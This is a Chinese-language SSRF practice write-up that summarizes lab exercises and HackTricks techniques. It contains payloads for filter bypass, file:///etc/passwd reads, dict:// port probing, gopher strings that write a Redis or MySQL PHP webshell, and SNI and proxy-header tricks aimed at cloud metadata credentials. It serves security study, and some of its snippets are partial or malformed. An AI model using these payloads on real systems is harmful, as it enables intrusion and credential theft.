SSRF打靶總結

文章目錄

      • 一. PortSwigger
        • 1、本地服務器的基本SSRF
        • 2、基本的目標不是漏洞機
        • 3、Referer標頭的外帶SSRF
        • 4、簡單黑名單的SSRF
          • 黑名單繞過思路:
        • 5、重定向的SSRF
        • 6. 簡單的白名單SSRF
          • 白名單繞過思路:
      • 二、BWAPP
        • 1. SSRF + 文件包含漏洞 | 內網探測
        • 2. XXE -> SSRF
      • 三、pikachu
        • 1. file協議 | 讀取文件
        • 2. dict協議 | **快速端口探測與服務識別**
      • 四、HackTricks
        • 1. gopher協議 | RCE
          • 協議介紹:
        • 2. http協議 | 獲取元數據
        • 3. PDF SSRF
        • 4. Referer | SSRF
        • 5. SNI | SSRF
          • 二、利用
          • 三、案例
        • 6. 代理劫持 | SSRF (類似SNI Nginx SSRF)
        • 7. 為什么SSRF很少使用file://

一. PortSwigger

1、本地服務器的基本SSRF

抓請求包,發現存在一個socketapi,后面跟著的是網址,直接替換成 http://localhost/admin

2、基本的目標不是漏洞機

發現改為loaclhost沒用,提示內網網段是192.168.0.x,端口是8080,直接bp的intruder跑,最終發現目標在192.168.0.5上。

3、Referer標頭的外帶SSRF

首先此URL是在Referer中的,并且沒用回顯,所以直接使用collaborator的url,外帶。

4、簡單黑名單的SSRF

對127.0.0.1和admin進行了黑名單;

黑名單繞過思路:
  1. 短鏈,原理重定向

  2. 對域名的黑名單:

    1. 域名解析
  3. IP混淆

    1. ipv4非標準格式
    2. ipv6
    3. ip分段和省略
  4. url編碼

  5. 對ip的黑名單:

    1. DNS重綁

    2. SNI + 域名注冊解析

      客戶端發送:目標 IP 地址:1.2.3.4(這個不在黑名單中)SNI 域名:evil.me -> 192.168.1.100服務端校驗 IP:1.2.3.4 沒在黑名單 ?,放行代理或網關(如 Envoy)收到請求:根據 SNI(evil.me)查找對應的 內部服務配置實際將請求路由到 → 192.168.1.100
      
5、重定向的SSRF

攻擊面在重定向的url里

6. 簡單的白名單SSRF
白名單繞過思路:
  1. 對ip的白名單
    1. DNS重綁
  2. 域名@:http://trusted.com@evil.com
  3. 域名#:https://evil-host#expected-host
  4. 注冊域名:https://expected-host.evil-host

二、BWAPP

1. SSRF + 文件包含漏洞 | 內網探測
http://**ip1**/bWAPP/rlfi.php?language=http://**ip2**/evil/ssrf-1.txt&action=go
POST DATA:**ip3**

解釋:

  1. ip1存在ssrf
  2. ip2為自己的ip
  3. ip3為目標的內網ip,ip2范圍不了
  4. 在ip1上又存在文件包含漏洞
  5. ip2上放應該掃描腳本,讓ip1包含
2. XXE -> SSRF
維度XXESSRF
觸發機制通過惡意 XML 輸入觸發通過用戶控制的 URL 參數觸發
主要攻擊面文件讀取、內網探測、DoS、SSRF 等內網服務訪問、云元數據竊取、端口掃描等
協議支持支持多種協議(HTTP、FILE、Gopher 等)通常依賴 HTTP/HTTPS
防御重點禁用外部實體和 DTD校驗請求目標、網絡隔離

當 XXE 的外部實體指向一個網絡資源時,服務器會嘗試發起請求,此時 XXE 的利用效果與 SSRF 一致。
示例

<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
  • 效果:服務器訪問云元數據接口,等同于 SSRF 攻擊

三、pikachu

1. file協議 | 讀取文件
  1. 協議支持廣泛性

    • 許多編程語言的網絡庫默認支持多種協議(如 HTTPHTTPSFTPFile)。
    • 例如:
      • PHPfile_get_contents() 支持 file://
      • Pythonurllib.request.urlopen() 支持 file://
  2. 輸入驗證不嚴

    • 若服務端未對用戶輸入的協議類型進行過濾,攻擊者可構造 file:// 路徑。

    • 示例漏洞代碼(PHP):

      $url = $_GET['url']; // 用戶可控輸入
      $content = file_get_contents($url);
      echo $content;
      

      攻擊者提交 ?url=file:///etc/passwd,服務器返回 /etc/passwd 內容。

  3. 編碼混淆繞過

    • 攻擊者可能對路徑進行 URL 編碼,繞過簡單過濾:

      file://%2Fetc%2Fpasswd → 解碼為 file:///etc/passwd
      
2. dict協議 | 快速端口探測與服務識別
服務名稱默認端口示例 Payload響應特征攻擊用途
Redis6379dict://127.0.0.1:6379/info返回 Redis 版本、配置信息(如 redis_version:6.0.9探測 Redis 服務、執行未授權命令(如 FLUSHALLCONFIG SET
Memcached11211dict://127.0.0.1:11211/stats返回統計信息(如 STAT pid 1STAT version 1.6.9探測 Memcached 服務、查看統計信息
Elasticsearch9200dict://127.0.0.1:9200/_cluster/health返回 JSON 格式集群健康信息(如 "status":"green"確認 Elasticsearch 服務狀態
SSH22dict://127.0.0.1:22/返回 SSH 協議標識(如 SSH-2.0-OpenSSH_8.2p1探測 SSH 服務、獲取版本信息
ZooKeeper2181dict://127.0.0.1:2181/stat返回 ZooKeeper 狀態(如 Zookeeper version: 3.6.3確認 ZooKeeper 服務存活
FTP21dict://127.0.0.1:21/返回 FTP 歡迎信息(如 220 FTP Server ready探測 FTP 服務、獲取版本信息
SMTP25dict://127.0.0.1:25/HELO返回 SMTP 響應(如 250 smtp.example.com探測 SMTP 服務、驗證郵件服務器
HTTP80/443dict://127.0.0.1:80/GET / HTTP/1.0返回 HTTP 響應頭(如 HTTP/1.1 200 OK探測 Web 服務、驗證 HTTP 協議支持
PostgreSQL5432dict://127.0.0.1:5432/返回錯誤(如 Protocol error)或連接成功無響應探測 PostgreSQL 端口開放狀態
MySQL3306dict://127.0.0.1:3306/返回 MySQL 協議握手包(需解析二進制數據)探測 MySQL 服務存活
DNS53dict://127.0.0.1:53/無響應或返回協議錯誤(需 UDP 協議支持)探測 DNS 服務端口開放狀態
MongoDB27017dict://127.0.0.1:27017/返回 MongoDB 協議握手包(需解析二進制數據)探測 MongoDB 服務存活
RDP3389dict://127.0.0.1:3389/返回 RDP 協議握手包(需解析二進制數據)探測遠程桌面服務狀態
VNC5900dict://127.0.0.1:5900/返回 RFB 協議標識(如 RFB 003.008探測 VNC 服務版本

四、HackTricks

1. gopher協議 | RCE
協議介紹:

Gopher協議是一種古老的、基于TCP的協議,支持直接指定IP、端口和任意字節流(payload)。這意味著攻擊者可以通過Gopher協議構造幾乎任何類型的TCP數據包,不僅限于HTTP請求,從而突破HTTP協議的限制。

Gopher協議支持構造完整的GET和POST請求數據包。攻擊者可以先抓取請求的原始數據包(包括頭部和body),將其轉換為Gopher格式,通過SSRF漏洞發送到目標服務。

目標服務攻擊場景Payload 構造步驟修復建議
Redis 未授權訪問通過 CONFIG SET 修改持久化路徑,寫入 Webshell 或 SSH 密鑰。1. 構造 Redis 命令:CONFIG SET dir /var/www/html 2. 轉換為 Gopher 格式并 URL 編碼: gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$5%0d%0a12345%0d%0a*1%0d%0a$4%0d%0asave%0d%0a1. 啟用 Redis 密碼認證 2. 禁止綁定公網 IP
MySQL 未授權執行利用無密碼認證漏洞發送惡意 SQL 語句(需協議握手包構造)。1. 構造 MySQL 認證包(十六進制): gopher://127.0.0.1:3306/_%01%00%00%01%85%00%00%00%00%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 2. 附加 SQL 語句(如 SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php')。1. 強制密碼認證 2. 禁用 INTO OUTFILE 權限
SMTP 郵件偽造偽造發件人發送釣魚郵件或垃圾郵件。1. 構造 SMTP 命令序列: HELO attacker.com%0d%0aMAIL FROM:<spoof@example.com>%0d%0aRCPT TO:<victim@example.com>%0d%0aDATA%0d%0aSubject: Test%0d%0aHello!%0d%0a.%0d%0aQUIT 2. 生成 Gopher URL: gopher://smtp.example.com:25/_HELO%20attacker.com%250d%250a...1. 啟用 SMTP 身份驗證 2. 配置 SPF/DKIM/DMARC 反偽造策略
FastCGI RCE利用 PHP-FPM 未授權訪問執行系統命令。1. 構造 FastCGI 請求包: gopher://127.0.0.1:9000/_%01%01...{惡意載荷}... 2. 載荷包含 SCRIPT_FILENAME 指向 PHP 文件,PHP_VALUE 注入代碼。1. 限制 FastCGI 監聽地址 2. 配置 PHP-FPM 訪問控制
Memcached 未授權通過 set 命令寫入惡意緩存數據,觸發反序列化漏洞。1. 構造 Memcached 命令: set key 0 3600 10%0d%0aevil_data%0d%0a 2. 轉換為 Gopher URL: gopher://127.0.0.1:11211/_set%20key%200%203600%2010%0d%0aevil_data%0d%0a1. 綁定本地回環地址 2. 啟用 SASL 認證
Zabbix 未授權 RCE利用 Zabbix Server 的 script.exec 執行系統命令。1. 構造 JSON-RPC 請求: {"jsonrpc":"2.0","method":"script.update","params":{"scriptid":"1","command":"id"},"id":1} 2. 轉換為 Gopher 載荷: gopher://zabbix-server:10051/_POST%20...1. 限制 Zabbix Server 的 API 訪問 2. 更新至最新版本
HTTP 請求偽造穿透內網訪問管理接口(如 Jenkins、Kubernetes API)。1. 構造 HTTP 請求頭: GET /manager/html HTTP/1.1%0d%0aHost: 192.168.1.100%0d%0a%0d%0a 2. 生成 Gopher URL: gopher://192.168.1.100:8080/_GET%20/manager/html%20HTTP/1.1%250d%250aHost:%20192.168.1.100%250d%250a%250d%250a1. 網絡隔離內網服務 2. 啟用身份認證
2. http協議 | 獲取元數據

目標:通過 SSRF 獲取云服務的敏感信息。

關鍵點

  • 訪問 AWS 元數據服務(如 http://169.254.169.254/latest/meta-data/)獲取憑證。
  • 在 AWS ECS 中,讀取環境變量(如 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)獲取憑證 。
3. PDF SSRF
  • 惡意元素:在 PDF 中嵌入指向內部服務的圖像或字體 URL。

  • 攻擊流程

    1. 用戶上傳包含以下內容的 PDF:

      <</Type /Page/Contents [ <</Length 100>> streamBT /F1 20 Tf 100 700 Td (Click me) Tj ET<</Subtype /Image/Width 100/Height 100/ColorSpace /DeviceRGB/BitsPerComponent 8/Filter /ASCIIHexDecode /Length 50>> stream2 0 obj <</Length 10>> stream http://169.254.169.254/latest/meta-data/ 
      
    2. 服務器解析 PDF 時嘗試加載外部圖像,向云元數據接口發起請求。

    3. 響應數據可能被記錄或返回給攻擊者,導致敏感信息(如 IAM 憑證)泄露。

4. Referer | SSRF

目標:利用 Referer 頭部引發 SSRF。

關鍵點

  • 某些服務器會訪問 Referer 頭部中的 URL,攻擊者可控制該頭部引導服務器訪問惡意資源 。HackTricks
  • 使用工具(如 Burp Suite 的 Collaborator Everywhere 插件)輔助發現此類漏洞。HackTricks
5. SNI | SSRF

一、SNI作用 | 支持多域名共享同一 IP 地址

  • 場景:一臺服務器(IP 地址)托管多個 HTTPS 網站(如 example.com 和 test.com),每個網站有獨立的 SSL/TLS 證書。
  • 問題:在 TLS 握手時,服務器需要先提供證書,但 HTTP 請求的 Host 頭(包含域名)在加密通道建立后才發送,服務器無法提前知道客戶端想要哪個證書。
  • SNI 的作用
    • 客戶端在 TLS 握手的 ClientHello 消息中包含 SNI 擴展,指定目標域名(如 example.com)。
    • 服務器根據 SNI 值選擇并返回對應的證書。
  • 結果:無需為每個域名分配獨立 IP,降低了成本,廣泛應用于虛擬主機、CDN 和云服務。
二、利用

? 1. SNI 偽裝訪問內網 IP(繞過 IP 黑名單)

  • 注冊一個域名 evil.me,將其 DNS 指向 192.168.1.100
  • 發起 SSRF 到 https://evil.me
  • 設置 SNI 為 evil.me
  • 服務器通過內部 DNS 解析 evil.me,請求到達內網服務 ?

? 2. SNI + Nginx $ssl_server_name 動態代理 SSRF

proxy_pass https://$ssl_server_name;
  • 發請求時設置 SNI 為內網 IP:192.168.1.100
  • 即使請求 URL 是公網域名,服務端也會根據 SNI 反代進內網!
三、案例

🧊 案例 1:AWS 元數據 SSRF 繞過(SNI 偽裝)

curl --resolve metadata.aws:443:169.254.169.254 https://metadata.aws
  • 你設置了 DNS:metadata.aws → 169.254.169.254(元數據地址)
  • SNI 設置為 metadata.aws(看起來合法)
  • 請求實際打到元數據服務器 ?
  • 獲取 IAM 臨時憑證、AccessKey 等敏感數據

🧊 案例 2:Nginx SSRF 利用 $ssl_server_name

proxy_pass https://$ssl_server_name;openssl s_client -connect target.com:443 -servername 192.168.1.100
  • 客戶端設置 SNI: 192.168.1.100
  • 請求發給 target.com
  • 服務器看到 $ssl_server_name = 192.168.1.100
  • 自動反代到 https://192.168.1.100 ?
6. 代理劫持 | SSRF (類似SNI Nginx SSRF)

攻擊姿勢
通過控制中間代理或反向代理的標頭(如 X-Forwarded-Host),篡改請求目標。
示例請求

POST /ssrf?target=https://go.dialexa.com HTTP/1.1
Host: victim.com
X-Original-Host: 127.0.0.1  # 篡改代理標頭

攻擊邏輯

  • 反向代理(如 Nginx)可能信任 X-Original-Host 標頭,覆蓋實際 Host:

    location /ssrf {proxy_pass http://$http_x_original_host;  # 漏洞點
    }
    
  • 實際請求被代理到 http://127.0.0.1,而非 go.dialexa.com

生效條件

  • 代理服務信任并解析特定標頭(如 X-Forwarded-ForX-Original-Host)。
  • 標頭值未被過濾,允許注入內網 IP 或域名。
7. 為什么SSRF很少使用file://
  1. SSRF 的核心是:繞過網絡邊界,去請求 外部或內網資源
  2. file:// 協議不走網絡棧,它直接訪問本地文件系統;
  3. file:// 就完全脫離了這個核心,實戰中用處非常有限。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/76434.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/76434.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/76434.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

STL-函數對象

1.函數對象 1.1 概念 重載函數調用操作符的類&#xff0c;其對象被稱為函數對象 函數對象使用重載的&#xff08;&#xff09;時&#xff0c;行為類似函數調用&#xff0c;也成為仿函數 本質&#xff1a;函數對象&#xff08;仿函數&#xff09;是一個類&#xff0c;不是一…

多線程(Java)

注&#xff1a;本文為本人學習過程中的筆記 1.導入 1.進程和線程 我們希望我們的程序可以并發執行以提升效率&#xff0c;此時引入了多進程編程。可是創建進程等操作開銷太大&#xff0c;于是就將進程進一步拆分成線程&#xff0c;減少開銷。進程與進程之間所涉及到的資源是…

在 Dev-C++中編譯運行GUI 程序介紹(三)有趣示例一組

在 Dev-C中編譯運行GUI程序介紹&#xff08;三&#xff09;有趣示例一組 前期見 在 Dev-C中編譯運行GUI 程序介紹&#xff08;一&#xff09;基礎 https://blog.csdn.net/cnds123/article/details/147019078 在 Dev-C中編譯運行GUI 程序介紹&#xff08;二&#xff09;示例&a…

【高校主辦】2025年第四屆信息與通信工程國際會議(JCICE 2025)

重要信息 會議網址&#xff1a;www.jcice.org 會議時間&#xff1a;2025年7月25-27日 召開地點&#xff1a;哈爾濱 截稿時間&#xff1a;2025年6月15日 錄用通知&#xff1a;投稿后2周內 收錄檢索&#xff1a;EI,Scopus 會議簡介 JCICE 2022、JCICE 2023、JCICE 2…

【Linux】Linux 操作系統 - 03 ,初步指令結尾 + shell 理解

文章目錄 前言一、打包和壓縮二、有關體系結構 (考)面試題 三、重要的熱鍵四、shell 命令及運行原理初步理解五、本節命令總結總結 前言 本篇文章 , 筆者記錄的筆記內容包含 : 基礎指令 、重要熱鍵 、shell 初步理解 、權限用戶的部分問題 。 內容皆是重要知識點 , 需要認真理…

Python: sqlite3.OperationalError: no such table: ***解析

出現該錯誤說明數據庫中沒有成功創建 reviews 表。以下是完整的解決方案: 步驟 1:創建數據庫表 在插入數據前,必須先執行建表語句。請通過以下任一方式創建表: 方式一:使用 SQLite 命令行 bash 復制 # 進入 SQLite 命令行 sqlite3 reviews.db# 執行建表語句 CREATE T…

VSCode CLine 插件自定義配置使用 Claude 3.7 模型進行 AI 開發

一個互聯網技術玩家&#xff0c;一個愛聊技術的家伙。在工作和學習中不斷思考&#xff0c;把這些思考總結出來&#xff0c;并分享&#xff0c;和大家一起交流進步。 本文介紹如何在 Visual Studio Code (VSCode) 中安裝和自定義配置 CLine 插件&#xff0c;并使用 Claude 3.7 模…

【VSCode配置】運行springboot項目和vue項目

目錄 安裝VSCode安裝軟件安裝插件VSCode配置user的全局設置setting.jsonworkshop的項目自定義設置setting.jsonworkshop的項目啟動配置launch.json 安裝VSCode 官網下載 安裝軟件 git安裝1.1.12版本&#xff0c;1.2.X高版本無法安裝node14以下版本 nvm安裝&#xff08;github…

linux shell編程之條件語句(二)

目錄 一. 條件測試操作 1. 文件測試 2. 整數值比較 3. 字符串比較 4. 邏輯測試 二. if 條件語句 1. if 語句的結構 (1) 單分支 if 語句 (2) 雙分支 if 語句 (3) 多分支 if 語句 2. if 語句應用示例 (1) 單分支 if 語句應用 (2) 雙分支 if 語句應用 (3) 多分支 …

榕壹云在線商城系統:基于THinkPHP+ Mysql+UniApp全端適配、高效部署的電商解決方案

項目背景&#xff1a;解決多端電商開發的痛點 隨著移動互聯網的普及和用戶購物習慣的碎片化&#xff0c;傳統電商系統面臨以下挑戰&#xff1a; 1. 多平臺適配成本高&#xff1a;需要同時開發App、小程序、H5等多端應用&#xff0c;重復開發導致資源浪費。 2. 技術依賴第三方…

神經動力學系統與計算及AI拓展

大腦&#xff0c;一個蘊藏在我們顱骨之內的宇宙&#xff0c;以活動脈動&#xff0c;如同由電信號和化學信號編織而成的交響樂&#xff0c;精巧地協調著思想、情感和行為。但是&#xff0c;這種復雜的神經元舞蹈是如何產生我們豐富多彩的精神生活的呢&#xff1f;這正是神經動力…

K8s常用基礎管理命令(一)

基礎管理命令 基礎命令kubectl get命令kubectl create命令kubectl apply命令kubectl delete命令kubectl describe命令kubectl explain命令kubectl run命令kubectl cp命令kubectl edit命令kubectl logs命令kubectl exec命令kubectl port-forward命令kubectl patch命令 集群管理命…

本地化部署DeepSeek-R1蒸餾大模型:基于飛槳PaddleNLP 3.0的實戰指南

目錄 一、飛槳框架3.0&#xff1a;大模型推理新范式的開啟1.1 自動并行機制革新&#xff1a;解放多卡推理1.2 推理-訓練統一設計&#xff1a;一套代碼全流程復用 二、本地部署DeepSeek-R1-Distill-Llama-8B的實戰流程2.1 機器環境說明2.2 模型與推理腳本準備2.3 啟動 Docker 容…

單片機方案開發 代寫程序/燒錄芯片 九齊/應廣等 電動玩具 小家電 語音開發

在電子產品設計中&#xff0c;單片機&#xff08;MCU&#xff09;無疑是最重要的組成部分之一。無論是消費電子、智能家居、工業控制&#xff0c;還是可穿戴設備&#xff0c;小家電等&#xff0c;單片機的應用無處不在。 單片機&#xff0c;簡而言之&#xff0c;就是將計算機…

【位運算】兩整數之和

文章目錄 371. 兩整數之和解題思路&#xff1a;位運算 371. 兩整數之和 371. 兩整數之和 ? 給你兩個整數 a 和 b &#xff0c;不使用 運算符 和 - &#xff0c;計算并返回兩整數之和。 示例 1&#xff1a; 輸入&#xff1a;a 1, b 2 輸出&#xff1a;3示例 2&#xff1…

使用Python從零實現一個端到端多模態 Transformer大模型

嘿&#xff0c;各位&#xff01;今天咱們要來一場超級酷炫的多模態 Transformer 冒險之旅&#xff01;想象一下&#xff0c;讓一個模型既能看懂圖片&#xff0c;又能理解文字&#xff0c;然后還能生成有趣的回答。聽起來是不是很像超級英雄的超能力&#xff1f;別急&#xff0c…

新聞推薦系統(springboot+vue+mysql)含萬字文檔+運行說明文檔

新聞推薦系統(springbootvuemysql)含萬字文檔運行說明文檔 該系統是一個新聞推薦系統&#xff0c;分為管理員和用戶兩個角色。管理員模塊包括個人中心、用戶管理、排行榜管理、新聞管理、我的收藏管理和系統管理等功能。管理員可以通過這些功能進行用戶信息管理、查看和編輯用…

游戲引擎學習第218天

構建并運行&#xff0c;注意一下在調試系統關閉前人物的移動速度 現在我準備開始構建項目。如果我沒記錯的話&#xff0c;我們之前關閉了調試系統&#xff0c;主要是為了避免大家在運行過程中遇到問題。現在調試系統沒有開啟&#xff0c;一切運行得很順利&#xff0c;看到那個…

基于混合編碼器和邊緣引導的拉普拉斯金字塔網絡用于遙感變化檢測

Laplacian Pyramid Network With HybridEncoder and Edge Guidance for RemoteSensing Change Detection 0、摘要 遙感變化檢測&#xff08;CD&#xff09;是觀測和分析動態土地覆蓋變化的一項關鍵任務。許多基于深度學習的CD方法表現出強大的性能&#xff0c;但它們的有效性…

Go語言從零構建SQL數據庫(6) - sql解析器(番外)- *號的處理

番外&#xff1a;處理SQL通配符查詢 在SQL中&#xff0c;SELECT * FROM table是最基礎的查詢之一&#xff0c;星號&#xff08;*&#xff09;是一個通配符&#xff0c;表示"選擇所有列"。雖然通配符查詢看起來簡單&#xff0c;但在解析器中需要特殊處理。下面詳細介…